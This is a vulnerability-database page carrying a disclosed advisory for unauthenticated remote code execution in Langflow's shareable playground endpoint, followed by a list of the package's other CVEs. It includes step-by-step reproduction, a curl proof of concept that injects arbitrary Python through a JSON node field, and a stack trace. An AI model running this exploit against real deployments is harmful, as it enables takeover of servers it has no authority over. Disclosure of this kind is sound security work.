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Critical

Langflow: Unauthenticated RCE in Shareable Playgrounds

  • Disclosed: 16.06.2026
  • Updated: 11.10.2026 14:18

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

  1. Create a new flow and add a Chat Input node to it
  2. Share the flow ("Shareable Playground")
  3. Access the public link with the browser developers tools open and execute the flow.
  4. Find the /api/v1/build_public_tmp route and copy as cURL
  5. Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

bash
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__

Impact

Unauthenticated RCE on any deployment with a shareable playground.

Ori Lahav Security Researcher @ Rubrik Inc.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) langflow < 1.9.2 1.9.2

References

CVSS score 9.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Python (PyPI)
Package
langflow
Disclosed
16.06.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-243 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-v5ff-9q35-q26f - CC BY 4.0

Vulnerability history: langflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (42) in the archive
Total entries
42
First → latest
06.2024 10.2026
Without a fix
7
Exploited in attacks
5

Severity breakdown

  • Critical 15
  • High 17
  • Medium 7
  • Low 3

Disclosures per year

Severity:
  1. Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration
    Critical · 9.9 CVE-2026-105697 >= 1.1.2, < 1.10.3 1.10.3
  2. Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
    High CVE-2026-105699 >= 1.6.8, < 1.9.1 1.9.1
  3. Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
    High · 7.1 CVE-2026-105741 >= 1.5.0, < 1.10.3 1.10.3
  4. Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation
    Critical · 9.9 CVE-2026-10561 < 1.10.1 1.10.1
  5. Langflow: Weak Fernet Key via random.seed()
    Critical · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  6. Langflow: Unauthenticated Flow Execution via Webhook Authentication Bypass
    Critical · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  7. Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description
    High · 8.8 CVE-2026-51886 >= 1.7.2, < 1.10.1 1.10.1
  8. Langflow: Prompt injection in Langflow Smart Transform can lead to code execution
    High · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  9. Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit
    Critical · 9.6 CVE-2026-55447 < 1.9.2 1.9.2
  10. Langflow: Unauthenticated DoS through multipart form boundary file upload
    High · 7.5 CVE-2026-55446 < 1.0.19 1.0.19
  11. Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
    High · 8.4 Exploited in attacks CVE-2026-55255 < 1.9.1 1.9.1
  12. Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak
    Critical · 9.3 CVE-2026-55450 < 1.9.1 1.9.1
  13. Langflow: Unauthenticated RCE in Shareable Playgrounds this entry
    Critical · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  14. Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints
    High · 8.8 CVE-2026-33760 < 1.9.0 1.9.0
  15. Langflow Knowledge Bases API is Vulnerable to Path Traversal
    Critical · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  16. Langflow: Authenticated Users Can Read, Modify, and Delete Any Flow via Missing Ownership Check
    High CVE-2026-34046 < 1.5.1 1.5.1
  17. Langflow has Authenticated Code Execution in Agentic Assistant Validation
    Critical CVE-2026-33873 < 1.9.0 1.9.0
  18. langflow: /profile_pictures/{folder_name}/{file_name} endpoint file reading
    High CVE-2026-33497 < 1.7.1 1.7.1
  19. langflow has Unauthenticated IDOR on Image Downloads
    High · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  20. Langflow has an Arbitrary File Write (RCE) via v2 API
    Critical · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
  21. Langflow is Missing Ownership Verification in API Key Deletion (IDOR)
    High CVE-2026-33053 < 1.9.0 1.9.0
  22. Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
    Critical · 9.8 Exploited in attacks CVE-2026-33017 < 1.9.0 1.9.0
  23. Langflow has Remote Code Execution in CSV Agent
    Critical · 9.8 CVE-2026-27966 <= 1.8.0rc2 no fix
  24. Langflow affected by Remote Code Execution via validate_code() exec()
    High Exploited in attacks CVE-2026-0770 <= 1.7.3 no fix
  25. Langflow Missing Authentication on Critical API Endpoints
    High CVE-2026-21445 < 1.7.1 1.7.1
  26. Langflow vulnerable to Server-Side Request Forgery
    High · 7.7 CVE-2025-68477 < 1.7.1 1.7.1
  27. External Control of File Name or Path in Langflow
    High · 7.1 CVE-2025-68478 < 1.7.1 1.7.1
  28. Langflow versions up to and including 1.6.9 contain a chained vulnerability that enables account takeover and remote code execution. An overly permissive CORS configuration (allow_origins='*' with all
    High · 8.8 Exploited in attacks CVE-2025-34291 < 1.7.0 1.7.0
  29. Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)
    High · 8.8 CVE-2025-57760 < 1.5.0 1.5.0
  30. Langflow Unauth RCE
    Critical Exploited in attacks CVE-2025-3248 < 1.3.0 1.3.0
  31. langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.
    Critical · 9.8 CVE-2024-42835 <= 1.0.12 no fix
  32. Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_component" endpoint and provide a Python script.
    Critical · 9.8 CVE-2024-37014 < 1.0.0a3 1.0.0a3

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